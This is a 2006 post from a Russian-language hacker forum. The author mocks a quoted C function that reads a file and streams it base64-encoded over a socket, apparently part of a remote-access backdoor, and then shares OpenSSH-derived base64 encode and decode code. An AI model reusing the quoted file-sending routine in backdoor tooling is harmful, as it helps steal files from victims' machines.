Показать сообщение отдельно

  #5  
Старый 18.03.2006, 23:01
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию

До сих пор вижу такие посты - честно скажу, смеюсь.
#FUCK_FIREWALL - действительно тема. Наверное прокатит на Outpost 0.01 demo...

Цитата:
void DownloadFile(SOCKET Socket, char* FilePath)
{
HANDLE hFile = CreateFile(FilePath, GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, 0, 0);

if(hFile == INVALID_HANDLE_VALUE)
{
send(Socket, "- Failed\n", 9, 0);
return;
}

int Size = GetFileSize(hFile, 0);

HANDLE hReadBuff = GlobalAlloc(GMEM_FIXED, 54);
HANDLE hWriteBuff = GlobalAlloc(GMEM_FIXED, 74);
ULONG ddTemp;

wsprintf((char*)hWriteBuff, "+ Success. File size: %d bytes.\n", Size);
send(Socket, (char*)hWriteBuff, lstrlen((char*)hWriteBuff), 0);

for(int i = 0; i < Size / 54 + 1; i++)
{
ReadFile(hFile, hReadBuff, 54, &ddTemp, 0);
B64Encode(hReadBuff, ddTemp, hWriteBuff);
lstrcat((char*)hWriteBuff, "\n");
send(Socket, (char*)hWriteBuff, lstrlen((char*)hWriteBuff), 0);
}

GlobalFree(hReadBuff);
GlobalFree(hWriteBuff);
CloseHandle(hFile);
}
Код обалденный... Сверх приватный и нужный...

Цитата:
Функци base64 кодирования написаны на асме и занимают много метса, я залил их сюда:
https://drmist.ru/download/base64.cpp
Да, много места, но всеже не столь много чтобы их нельзя было вынуть из OpenSSH для FreeBSD...

B64.CPP
Код:
/*
From openssh-3.1p1.tar.gz\openssh-3.1p1\openbsd-compat\base64.c
*/

/* original header */

/*	$OpenBSD: base64.c,v 1.3 1997/11/08 20:46:55 deraadt Exp $	*/

/*
 * Copyright (c) 1996 by Internet Software Consortium.
 *
 * Permission to use, copy, modify, and distribute this software for any
 * purpose with or without fee is hereby granted, provided that the above
 * copyright notice and this permission notice appear in all copies.
 *
 * THE SOFTWARE IS PROVIDED "AS IS" AND INTERNET SOFTWARE CONSORTIUM DISCLAIMS
 * ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL INTERNET SOFTWARE
 * CONSORTIUM BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL
 * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR
 * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS
 * ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS
 * SOFTWARE.
 */

/*
 * Portions Copyright (c) 1995 by International Business Machines, Inc.
 *
 * International Business Machines, Inc. (hereinafter called IBM) grants
 * permission under its copyrights to use, copy, modify, and distribute this
 * Software with or without fee, provided that the above copyright notice and
 * all paragraphs of this notice appear in all copies, and that the name of IBM
 * not be used in connection with the marketing of any product incorporating
 * the Software or modifications thereof, without specific, written prior
 * permission.
 *
 * To the extent it has a right to do so, IBM grants an immunity from suit
 * under its patents, if any, for the use, sale or manufacture of products to
 * the extent that such products are used for performing Domain Name System
 * dynamic updates in TCP/IP networks by means of the Software.  No immunity is
 * granted for any product per se or for any other function of any product.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", AND IBM DISCLAIMS ALL WARRANTIES,
 * INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
 * PARTICULAR PURPOSE.  IN NO EVENT SHALL IBM BE LIABLE FOR ANY SPECIAL,
 * DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER ARISING
 * OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE, EVEN
 * IF IBM IS APPRISED OF THE POSSIBILITY OF SUCH DAMAGES.
 */

#include <winsock.h>

//#define Assert(Cond) if (!(Cond)) abort()
#define Assert(Cond) //

static const char Base64[] =
	"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

static const char Pad64 = '=';

int Base64_Decode( char const *src, u_char *target, size_t targsize )
{
	int tarindex, state, ch;
	char *pos;

	state = 0;
	tarindex = 0;

	while ((ch = *src++) != '\0')
	{
		if (isspace( ch )) continue;

		if (ch == Pad64) break;

		pos = strchr( Base64, ch );
		
		if (pos == 0) return (-1);

		switch (state)
		{
		case 0:
			if (target)
			{
				if (tarindex >= targsize) return (-1);
				target[tarindex] = (pos - Base64) << 2;
			}

			state = 1;
			break;

		case 1:
			if (target)
			{
				if (tarindex + 1 >= targsize) return (-1);
				target[tarindex]   |=  (pos - Base64) >> 4;
				target[tarindex+1]  = ((pos - Base64) & 0x0f)
							<< 4 ;
			}

			tarindex++;
			state = 2;
			break;

		case 2:
			if (target)
			{
				if (tarindex + 1 >= targsize) return (-1);
				target[tarindex]   |=  (pos - Base64) >> 2;
				target[tarindex+1]  = ((pos - Base64) & 0x03) << 6;
			}

			tarindex++;
			state = 3;
			break;

		case 3:
			if (target)
			{
				if (tarindex >= targsize) return (-1);
				target[tarindex] |= (pos - Base64);
			}

			tarindex++;
			state = 0;
			break;
		}
	}

	if (ch == Pad64)
	{
		ch = *src++;
		switch (state)
		{
			case 0:
			case 1: return (-1);

			case 2:
				for (; ch != '\0'; ch = *src++)
					if (!isspace( ch )) break;

				if (ch != Pad64) return (-1);
				ch = *src++;

			case 3:

				for (; ch != '\0'; ch = *src++)
				if (!isspace( ch )) return (-1);

				if (target && target[tarindex] != 0) return (-1);
		}
	}
	else
	{
		if (state != 0) return (-1);
	}

	return (tarindex);
}

int Base64_Encode( u_char const *src, size_t srclength, char *target, size_t targsize )
{
	size_t datalength = 0;
	u_char input[3];
	u_char output[4];
	int i;

	while (2 < srclength)
	{
		input[0] = *src++;
		input[1] = *src++;
		input[2] = *src++;
		srclength -= 3;

		output[0] = input[0] >> 2;
		output[1] = ((input[0] & 0x03) << 4) + (input[1] >> 4);
		output[2] = ((input[1] & 0x0f) << 2) + (input[2] >> 6);
		output[3] = input[2] & 0x3f;
		Assert( output[0] < 64 );
		Assert( output[1] < 64 );
		Assert( output[2] < 64 );
		Assert( output[3] < 64 );

		if (datalength + 4 > targsize) return (-1);

		target[datalength++] = Base64[output[0]];
		target[datalength++] = Base64[output[1]];
		target[datalength++] = Base64[output[2]];
		target[datalength++] = Base64[output[3]];
	}
    
	if (0 != srclength)
	{
		input[0] = input[1] = input[2] = '\0';
		for (i = 0; i < srclength; i++) input[i] = *src++;
	
		output[0] = input[0] >> 2;
		output[1] = ((input[0] & 0x03) << 4) + (input[1] >> 4);
		output[2] = ((input[1] & 0x0f) << 2) + (input[2] >> 6);
		Assert( output[0] < 64 );
		Assert( output[1] < 64 );
		Assert( output[2] < 64 );

		if (datalength + 4 > targsize) return (-1);
		target[datalength++] = Base64[output[0]];
		target[datalength++] = Base64[output[1]];

		if (srclength == 1) target[datalength++] = Pad64;
		else
			target[datalength++] = Base64[output[2]];

		target[datalength++] = Pad64;
	}

	if (datalength >= targsize) return (-1);
	target[datalength] = '\0';

	return (datalength);
}
B64.H
Код:
/*
(C) KEZ
*/

// from openssh-3.1p1.tar.gz\openssh-3.1p1\openbsd-compat\base64.h

#ifndef _BASE64_H_INCLUDED_
#define _BASE64_H_INCLUDED_

// like php style
extern int Base64_Decode( char const *src, u_char *target, size_t targsize );
extern int Base64_Encode( u_char const *src, size_t srclength, char *target, size_t targsize );

#endif // _BASE64_H_INCLUDED_
долой кодинг! даешь кантер страйг!
 
Ответить с цитированием